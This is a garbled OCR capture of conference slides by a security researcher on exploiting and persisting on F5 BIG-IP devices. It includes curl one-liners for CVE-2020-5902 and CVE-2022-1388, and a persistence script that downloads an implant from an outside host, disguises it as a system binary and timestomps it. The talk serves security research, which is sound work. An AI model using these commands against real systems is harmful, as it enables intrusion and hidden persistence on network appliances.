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Now | have a BIG-IP.
Ho-ho-ho.

Nate Warfield - Eclypsium

& Intelligence
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Background & Motivation

History of F5 exploitation

Presentation UNC3524
Ag enda By design != good design

Attack, implant, hide

Pivoting & low-level persistence

DEMO!




Background

Literally a Viking

CTI League founder

Network hacker

Security researcher

F5 Networks — 10yrs

Microsoft (MS17-010. You're welcome)
Not a red teamer
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Motivation

Load F5 DFIR for First red-centric Mandiant Nobody
Balancer Microsoft & conference report seems to
vulns started CTIL presentation Inspired me understand
CTIl League this space
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A brief history of F5 exploitation

CVE-2012-1493 — root ssh key exposed
CVE-2020-5902 - ..;/ path traversal - admin shell
CVE-2022-1388 — header tampering - admin shell

All attacking management interface

Commonly exposed to the internet

Exploits fit in a tweet

Unsent Tweets

Everyone
curl -sk

"https://10.13.37.159/tmui/login.jsp/..;/tmui/locallb/wor
kspace/fileRead.jsp?fileName=/etc/passwd’

& Everyone can reply

@B OB O )
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Unsent Tweets
Everyone

curl -k https:/fadmin@10.13.37.159/mgmt/tm/util/bash \
-H "Content-Type: application/json’ \

-H 'Referrer: 127.0.0.1" \

-H 'Host: localhost' \

-H '"Connection: close, X-Fb-Auth-Token' -H "X-Fb-Auth-
Token: -' \

—data '{"command”: "run" , "utilCmdArgs™: " -cid" }'

(59 Everyone can reply

¢ B ® @ ©

O - @

nate@ubuntuserver:~$% python3 CVE-2022-1388.py -t 192.168.0.59:8443

Sys::Hardware

Chassis Information
Maximum MAC Count 1
Registration Key

Hardware Version Information

Name cpus
Type base-board
Model Common KVM processor
Parameters - --
cache size 512 KB
cores 4 (physical:4)
cpu MHz 3593.248

cpu sockets 1
cpu stepping 1

Platform
Name BIG-IP Virtual Edition
BIOS Revision
Base MAC
Hypervisor
Cloud

ba:6a:52:78:5e:9c
Standard PC (i440FX + PIIX, 1996)

System Information
Type 7100
Chassis Serial
Level 200/400 Part
SWwitchboard Serial
Switchboard Part Revision
Host Board Serial
Host Board Part Revision
nate@ubuntuserver:~$ []

c44217ff-dbaa-27148-T252a4031774

=C

“tmsh show sys hardware"



UNC3524: Eye Spy on Your Email (Mandiant)

s, UNC3524 opted to deploy QUIE.TEXI'r on ooaqué

VIiCes
viLCT

e

software. For their long-haul remote acce

point controllers. These kinds of d

: R
g older versions of BS

are often running o
pile functional malware for them, By

IETEXIT has no persistenc
ell as hijack legi

€ on system startup

e mechanism; however, we

SOCKS. QU
timate appli

allarun command(rc) a

including proxying traffic via
have rved UNC3524 in
scripts to enable the backdoor to execut

specific startup

mples that were r med to blend in with other legitimate
C3524 named the binary to blend in with a

DUIETEXIT samp

a NAS array, UN(

. infected node of 2
ite of scripts used to mount various filesystems to the NAS,

twork a

Organizations can also take steps to use ne
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| was ... unimpressed

Their malware wouldn’t survive an
upgrade

Why not use something more robust

LABSCON

Unreliable

They deployed a web shell purely to
restart their implants

Strangely inept for an APT

There are far better ways to
accomplish the same result
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Could | do better?

Narrator: Yes, yes he could




Questionable design decisions

GUI+SSH default enabled on all device IPs

nimner

the default route ¢

Management & Traffic planes share routes

Multiple by-design methods to run scripts

Configuring the BIG-IP system to run commands or scripts upon failover ... The folloy

N Start con . . N Sta tasks, such as commands or scripts, to be executed ... Log in to the command line.

O up & fig | |
K143%7: Running a command or custom script based on a syslog message

On failover state chan 0[S https://support.f5.com/csp/article/K14397

Running a command or custom script based on a syslog message ... You should cons

under the following condition: ... user_alert.conf file, type the following command:

LOog messages

K11948: Configuring the BIG-IP system to run commands or scripts upon system startup
1 . 1 https:/support f5.com/csp/article/K11943
Configs are stored Iin a tar file o B o st 8 Cstomized startum scrint Perform the f
... IPor BIG-1Q system to run the script Create a customized startup script Perform the foll:
create the startup script /config/startup_script_sol11948.sh file as appropriate for ...
Huge directory structure, lots of places to hide
Ka4422: Viewing and modifying the files that are configured for inclusion in a UCS archive
https:fsupport.fi.comfcsp/article/K4422

Ze rO | n te g rlty C h e C kS O n StO re d fl I eS Viewing and modifying the files that are configured for inclusion in a UCS archive ... Non-Di

Jusr/libdata/configsync/cs.dat data file contains three types of keys to control ...
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Hack all the things get all the money

| used CVE-2022-1388, a script* and Sliver C2

*From F5’s knowledge base
One Script To Rule Them All

Check for implant; if not found download

Hackity hack the filesystem

hile true

Writes to failover system for persistence PO UANING-ps s | grep “fusribin/aced” | wrep v wrep | wc

CLEETES iln
Tests for running C2; never start >1 instance sosmmse) o
if [[_5? -ne @ ]] ; ther

: » it [ -e fusr/bin/restjavad ]
Persistence files get backed up

mount -o remount,rw fusr

curl http://18.13.37.188/implant > fusr/bin/restjavad

chmod +x fusr/binfrestjavad

touch -a -m -t “1s -L --time-style=+XYXmX%dX¥HXM.XS fusr/binfsystemctl |awk “{print $6}'~ fusr/bin/restjavad
mount -o remount,ro fusr

fusr/bin/restjavad &
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Architecture allows pivoting

BIG-IP doesn't allow server egress by default

Requires SNAT on egress interface
All management traffic allowed by default
Sliver pivots allow chains of implant connections
F5 lets you bind C2 listener to failover IP
Interface ACLs can be modified w/o alerting admins
Any default gateway — mgmt. or traffic — will route C2

121 aeldee8]17f0a52bf35fUc
B help' for options

(000H REAL SCARED... REAL F'CKING ON ALERT... —
WA RSI@@IN ~_ HIGHALERT OVER HERE.. -

I .....




Low-level persistence

Backups contain most of /config directory
Documentation tells you what files are/not included
ANYTHING in an archived directory will be saved

Abused scripts are included in config backup
[config/startup
[config/failover/*

[config/user _alert.conf
Upgrade/patching copies config archive to new install

fusr/bin is wiped on upgrade; C2 script fixes this

LABSCON
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Demo time!




8 8G-Pe - bigipljomsvkings (I X+ ip2jomsviking
€ 5> C A Notsecure | https//bigipl/xui/ a @ % @% % 0OMA € > C A Notsecure | hitps//bigip2/xui/ Q2 v @% »0ORMA

@ bigipr . v

N nate@ubuntuserver:~$ [root@bigipl:Active:In Sync] config #

FFFEFFFEFEFFEFFFFFEFFEEFFe
s n o N .
PEEERREE, iona s anmsias
:fffffff ..................

Code: 00 60 €0 00 M3 T4 SP LO 1T FR 4M 3W OR K! V3 R5 IO N5 6@ 00 00 66
Aiee, Killing Interrupt handler
| Kernel panic Attempted to Kill the 1

iN SWapper task not sync

=[ metasploit v6.2.11-dev- )|
+ —— ——=[ 2233 exploits - 1178 auxiliary - 398 post ]
+ —— =--=[ 867 payloads - 45 encoders - 11 nops )|
$ == —==[ 9 evasion ]

Metasploit tip: Tired of setting RHOSTS for modules? Try
globally setting it with setg RHOSTS x.x.x.x

[*] Starting persistent handler(s)...
nsf6 >

s

-
e
- - v
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Thank You




~—y

B

i

i

X'

i
v

N

AN a7

-

P
T

ks

- gt
< g




